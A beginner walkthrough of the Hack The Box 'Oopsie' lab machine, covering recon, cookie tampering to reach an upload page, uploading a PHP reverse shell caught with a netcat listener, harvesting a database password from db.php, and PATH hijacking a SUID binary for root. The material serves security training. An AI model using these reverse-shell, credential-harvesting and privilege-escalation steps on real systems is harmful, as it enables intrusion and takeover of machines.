The aim of this walkthrough is to provide help with the Oopsie machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.
It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 2 challenges.
SETUP
There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.
Once our connection is taken care of, we spawn the target machine.
Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $ echo $rhost
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
We could use the unset command to remove it after we no longer need it.
┌─[✗]─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $unset rhost
┌─[htb-bluewalle@htb-pwdysfiide]─[~/Desktop]
└──╼ $
TASK 1
Question: With what kind of tool can intercept web traffic?
A quick connection check,
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ ping $rhost -c 4
PING 10.129.95.191 (10.129.95.191) 56(84) bytes of data.
64 bytes from 10.129.95.191: icmp_seq=1 ttl=63 time=10.6 ms
64 bytes from 10.129.95.191: icmp_seq=2 ttl=63 time=11.0 ms
64 bytes from 10.129.95.191: icmp_seq=3 ttl=63 time=10.6 ms
64 bytes from 10.129.95.191: icmp_seq=4 ttl=63 time=11.1 ms
--- 10.129.95.191 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 10.586/10.835/11.139/0.235 ms
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$
followed by the usual nmap scan
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ nmap -sC -sV $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 09:44 BST
Nmap scan report for 10.129.95.191
Host is up (0.063s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61e43fd41ee2b2f10d3ced36283667c7 (RSA)
| 256 241da417d4e32a9c905c30588f60778d (ECDSA)
|_ 256 78030eb4a1afe5c2f98d29053e29c9f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$
determines that we have two open ports: port 22 and port 80. Building on these results, we try to get a fingerprint on the running web server.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ whatweb $rhost
http://10.129.95.191 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[admin@megacorp.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.95.191], Script, Title[Welcome]
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$
Putting the collected pieces together, this is the initial picture we get about our target:
- target is running Linux - Ubuntu – probably Ubuntu 18.04
- ssh is enabled – version: openssh (1:7.6p1-4ubuntu0.3)
- target is serving a webpage – web server version Apache httpd 2.4.29
- admin email:admin@megacorp.com
- found hostname: megacorp.com
And haven’s even started out on our webpage. Let’s correct that. First we try accessing it with a browser. It looks like an automobile website.
Looking around a bit we notice that none of the tabs seems to be working. All of them simply redirect us to - http://$rhost/# - which seems to be identical to the landing page.
Also, Wappalyzer has identified the front scripts as Font Awesome. We take a note of it, maybe it can lead somewhere.
Otherwise, since nothing else pops up at this first look, we continue with dir busting.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.95.191/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/05/12 09:48:18 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://10.129.95.191/css/]
/fonts (Status: 301) [Size: 314] [--> http://10.129.95.191/fonts/]
/images (Status: 301) [Size: 315] [--> http://10.129.95.191/images/]
/index.php (Status: 200) [Size: 10932]
/js (Status: 301) [Size: 311] [--> http://10.129.95.191/js/]
/server-status (Status: 403) [Size: 278]
/themes (Status: 301) [Size: 315] [--> http://10.129.95.191/themes/]
/uploads (Status: 301) [Size: 316] [--> http://10.129.95.191/uploads/]
===============================================================
2023/05/12 09:48:24 Finished
===============================================================
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$
Well, none of them are really accessible except the landing page, so nothing interesting here. We keep on looking.
As for the answer, a quick internet search should do it.
proxy
TASK 2
Question: What is the path to the directory on the webserver that returns a login page?
Taking a quick look at the page source code that belongs to the main page seems to be rewarding.
At the end of the code, there is a script that names an interesting source location:
...
<script src="/cdn-cgi/login/script.js"></script>
...
Following this mention, we head over to - http://$rhost/cdn-cgi/login/ - where we are welcomed with a login page.
It is important to take note of the Login as Guest option. Once we click on it, we are redirected to - http://$rhost/cdn-cgi/login/admin.php -.
/cdn-cgi/login
TASK 3
Question: What can be modified in Firefox to get access to the upload page?
There are a few interesting things we might notice once we start goofing around:
- there is an interesting Uploads tab which is currently not accessible (“This action require super admin rights.”)
- it is possible to leak potentially confidential information by simply modifying the url parameters in the tabs Account, Branding and Clients
Playing around with the url parameters and setting the id parameter to 1 under the Account tab
http://10.129.95.191/cdn-cgi/login/admin.php?content=accounts&id=1
reveals something very interesting.
Taking an other look at the Uploads page, but this time using the Web Developer Tools (Firefox built-in tool) we notice the two cookies that are currently set.
cookie #1 | |
---|---|
Name | role |
Value | guest |
cookie #2 | |
---|---|
Name | user |
Value | 2233 |
This is probably how the website decides if we are allowed to access the Uploads tab or not.
cookie
TASK 4
Question: What is the access ID of the admin user?
Could we maybe simply modify them? Maybe use some of the leaked information we got when we accessed the Account tab? Let’s try and modify our cookies:
cookie #1 | |
---|---|
Name | role |
Value | admin |
cookie #2 | |
---|---|
Name | user |
Value | 34322 |
Once we refresh the page, we are welcomed with an upload window.
34322
TASK 5
Question: On uploading a file, what directory does that file appear in on the server?
Since an option to include our own files on the server is found, let’s strive for a reverse shell.
Using Wappalyzer on the current webpage reports php as the programming language. Therefore, it’s time to go and look for a reverse shell written in php.
On the pwnbox we do not have to look that far, since there is one already downloaded for us. We copy it to our current working directory, rename it (so that it’s not so noticeable) and we are almost ready to go.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ ll /usr/share/webshells/php/php-reverse-shell.php
-rwxr-xr-x 1 root root 5.4K Jan 8 2022 /usr/share/webshells/php/php-reverse-shell.php
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ cp /usr/share/webshells/php/php-reverse-shell.php ./test.php
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ ll
total 8.0K
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle 5.4K May 12 11:01 test.php
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$
All that’s left is to customize it for our use. Modifying these two lines should do it:
# test.php
...
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
...
# new test.php
...
$ip = '$lhost'; // CHANGED - look up your lhost ip --> "ip a | grep tun 0"
$port = 4444; // CHANGED - arbitrary port --> best to pick something above 1024
...
There is a nice confirmation we get once we upload it.
It’s time to see if it actually runs. But for that, we still need a netcat listener to catch it when it tries connecting back.
# new terminal on lhost
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
With everything set up, it’s time to finally run our reverse shell. But where can we find it? Looking at our dir busting results from TASK1, our assumption is that it landed somewhere in the /uploads directory. So we try accessing it in the browser.
Nothing really seems to be happening, except that the page appears to be loading… But if we check our netcat listener, we will notice a reverse shell connection from our target.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.95.191.
Ncat: Connection from 10.129.95.191:45114.
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
10:31:34 up 1:53, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
/uploads
TASK 6
Question: What is the file that contains the password that is shared with the robert user?
One nice way to stabilize our netcat reverse shell is by going through the following motions:
# Netcat Shell Stabilisation
python -c 'import pty; pty.spawn("/bin/bash")'
# or
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
[CTRL+Z] to background the process
# On lhost (turn off our own terminal echo)
stty raw -echo; fg
Since only python3 is installed on the target, we go with that option. Trying it get’s us a nice, stable and clear shell connection.
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.95.191.
Ncat: Connection from 10.129.95.191:45114.
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
10:31:34 up 1:53, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 2: python: not found
$ which python3
/usr/bin/python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
TERM environment variable not set.
www-data@oopsie:/$ clear
clear
TERM environment variable not set.
www-data@oopsie:/$ export TERM=xterm
export TERM=xterm
www-data@oopsie:/$ ^Z
[1]+ Stopped nc -lvnp 4444
┌─[eu-starting-point-vip-1-dhcp]─[10.10.14.46]─[htb-bluewalle@htb-ab85cpsply]─[~/oopsie]
└──╼ [★]$ stty raw -echo; fg
nc -lvnp 4444
www-data@oopsie:/$clear
Looking around a bit, we find the user flag in robert’s home directory.
www-data@oopsie:/$ whoami
www-data
www-data@oopsie:/$ pwd
/
www-data@oopsie:/$ uname -a
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@oopsie:/$ ls -hla
total 100K
drwxr-xr-x 24 root root 4.0K Oct 11 2021 .
drwxr-xr-x 24 root root 4.0K Oct 11 2021 ..
drwxr-xr-x 2 root root 4.0K Jul 28 2021 bin
drwxr-xr-x 3 root root 4.0K Oct 11 2021 boot
drwxr-xr-x 2 root root 4.0K Jul 28 2021 cdrom
drwxr-xr-x 18 root root 3.9K May 12 08:37 dev
drwxr-xr-x 97 root root 4.0K Oct 11 2021 etc
drwxr-xr-x 3 root root 4.0K Jul 28 2021 home
lrwxrwxrwx 1 root root 33 Jan 27 2020 initrd.img -> boot/initrd.img-4.15.0-76-generic
lrwxrwxrwx 1 root root 33 Oct 11 2021 initrd.img.old -> boot/initrd.img-4.15.0-76-generic
drwxr-xr-x 21 root root 4.0K Jul 28 2021 lib
drwxr-xr-x 2 root root 4.0K Jul 28 2021 lib64
drwx------ 2 root root 16K Jan 23 2020 lost+found
drwxr-xr-x 2 root root 4.0K Jul 28 2021 media
drwxr-xr-x 2 root root 4.0K Jul 28 2021 mnt
drwxr-xr-x 2 root root 4.0K Jul 28 2021 opt
dr-xr-xr-x 123 root root 0 May 12 08:37 proc
drwx------ 6 root root 4.0K Oct 11 2021 root
drwxr-xr-x 27 root root 880 May 12 08:38 run
drwxr-xr-x 2 root root 12K Jan 27 2020 sbin
drwxr-xr-x 4 root root 4.0K Jul 28 2021 snap
drwxr-xr-x 2 root root 4.0K Aug 5 2019 srv
dr-xr-xr-x 13 root root 0 May 12 10:50 sys
drwxrwxrwt 2 root root 4.0K May 12 10:30 tmp
drwxr-xr-x 10 root root 4.0K Aug 5 2019 usr
drwxr-xr-x 14 root root 4.0K Jul 28 2021 var
lrwxrwxrwx 1 root root 30 Jan 27 2020 vmlinuz -> boot/vmlinuz-4.15.0-76-generic
lrwxrwxrwx 1 root root 30 Oct 11 2021 vmlinuz.old -> boot/vmlinuz-4.15.0-76-generic
www-data@oopsie:/$ cd home/
www-data@oopsie:/home$ ls -hla
total 12K
drwxr-xr-x 3 root root 4.0K Jul 28 2021 .
drwxr-xr-x 24 root root 4.0K Oct 11 2021 ..
drwxr-xr-x 3 robert robert 4.0K Jul 28 2021 robert
www-data@oopsie:/home$ cd robert/
www-data@oopsie:/home/robert$ ls -hla
total 28K
drwxr-xr-x 3 robert robert 4.0K Jul 28 2021 .
drwxr-xr-x 3 root root 4.0K Jul 28 2021 ..
lrwxrwxrwx 1 robert robert 9 Jan 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3.7K Apr 4 2018 .bashrc
drwx------ 3 robert robert 4.0K Jul 28 2021 .gnupg
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
-rw-r--r-- 1 robert robert 33 Feb 25 2020 user.txt
www-data@oopsie:/home/robert$
Notice the r– in the last permission column. Doesn’t that mean that everybody can read it? How nice, let’s grab it.
www-data@oopsie:/home/robert$ cat user.txt
<flag>
www-data@oopsie:/home/robert$
The question implies some interesting files containing some sensitive information. Let’s look for them. One of places we definitely need to check out is the location where the web page is installed.
www-data@oopsie:/var/www/html/cdn-cgi/login$ ls -hla
total 28K
drwxr-xr-x 2 root root 4.0K Jul 28 2021 .
drwxr-xr-x 3 root root 4.0K Jul 28 2021 ..
-rw-r--r-- 1 root root 6.3K Apr 15 2021 admin.php
-rw-r--r-- 1 root root 80 Jan 24 2020 db.php
-rw-r--r-- 1 root root 5.3K Apr 15 2021 index.php
-rw-r--r-- 1 root root 0 Jan 24 2020 script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$
The question states that this password is shared with robert, so let’s look for any mention of his name.
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat * | grep -i robert
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
www-data@oopsie:/var/www/html/cdn-cgi/login$
There is one, but does it work?
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
Password:
robert@oopsie:/var/www/html/cdn-cgi/login$
Yes, it worked. Now we have all the privileges that come with the robert user.
However, the question is only interested in the exact file name and not in the password itself. To get that, we need to make some readjustments to the previously used command.
robert@oopsie:/var/www/html/cdn-cgi/login$ grep -i robert *
db.php:$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
robert@oopsie:/var/www/html/cdn-cgi/login$
db.php
TASK 7
Question: What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
At first, using find and making sure to discard the error messages (2>/dev/null) returns nothing.
www-data@oopsie:/home/robert$ find / -group bugtracker -executable 2>/dev/null
Could it be, that the file we are looking for is only executable by a certain group?
www-data@oopsie:/home/robert$ find / -group bugtracker 2>/dev/null
/usr/bin/bugtracker
www-data@oopsie:/home/robert$
It certanly looks like it.
find
TASK 8
Question: Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
www-data@oopsie:/home/robert$ ls -hla /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8.6K Jan 25 2020 /usr/bin/bugtracker
www-data@oopsie:/home/robert$
Looking at it, the executable has it’s suid bit set. So once run, it will run with root privileges (root is the owner).
root
TASK 9
Question: What SUID stands for?
A simple online search should help us out here.
set owner user id
TASK 10
Question: What is the name of the executable being called in an insecure manner?
Running the executable we found in TASK7 without any parameters provides us with some hints.
robert@oopsie:/$ ./usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 42
---------------
cat: /root/reports/42: No such file or directory
robert@oopsie:/$
Like the one, that it’s using cat to access a non-existent file at - /root/reports/42 -. Or that cat is called without it’s full path being specified and NOT with /bin/cat (like it should be).
cat
SUBMIT FLAG
Question: Submit user flag
We already grabbed it in TASK6.
flag
SUBMIT FLAG
Question: Submit root flag
We continue where we left off (after TASK10).
Our idea is to hijack the path that our system searches for when it looks for the cat’s binary/installation. So overwriting this location and implementing our own version of the cat command would result in our own version executing when the bugtracker binary is run.
Therefore, we create our own version and save it in the /tmp directory (directory clears at reboot). Moreover, we make sure to assign everybody execute permissions.
robert@oopsie:/$ cd /tmp/
robert@oopsie:/tmp$ which bash
/bin/bash
robert@oopsie:/tmp$ echo "/bin/bash" > cat
robert@oopsie:/tmp$ ls -hla
total 12K
drwxrwxrwt 2 root root 4.0K May 12 12:18 .
drwxr-xr-x 24 root root 4.0K Oct 11 2021 ..
-rw-rw-r-- 1 robert robert 10 May 12 12:18 cat
robert@oopsie:/tmp$ chmod a+x cat
robert@oopsie:/tmp$ ls -hla
total 12K
drwxrwxrwt 2 root root 4.0K May 12 12:18 .
drwxr-xr-x 24 root root 4.0K Oct 11 2021 ..
-rwxrwxr-x 1 robert robert 10 May 12 12:18 cat
robert@oopsie:/tmp$
All that’s left now is to overwrite the location which the system uses to search for the binaries. It can be done via environmental variables - quite similar to what we use to specify our rhost variable. Only, this one actually does persist throughout multiple shells since it’s an environmental variable, instead of a local one.
Moreover, this time we do NOT want to add anything new. We only want to prepend our location to the other locations.
robert@oopsie:/tmp$ export PATH=/tmp:$PATH
robert@oopsie:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
robert@oopsie:/tmp$
Finally, running the bugtracker binary after everything is set up will welcome us with a root shell. And since we already know where the root flag is, we simply grab it.
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 42
---------------
root@oopsie:/tmp# whoami
root
root@oopsie:/tmp# cat /root/root.txt
<flag>
root@oopsie:/tmp#
flag
Congratulations, we just successfully pwned the target machine. All we have left to do now is to terminate the target box (if not terminated automatically) before we continue with the next box!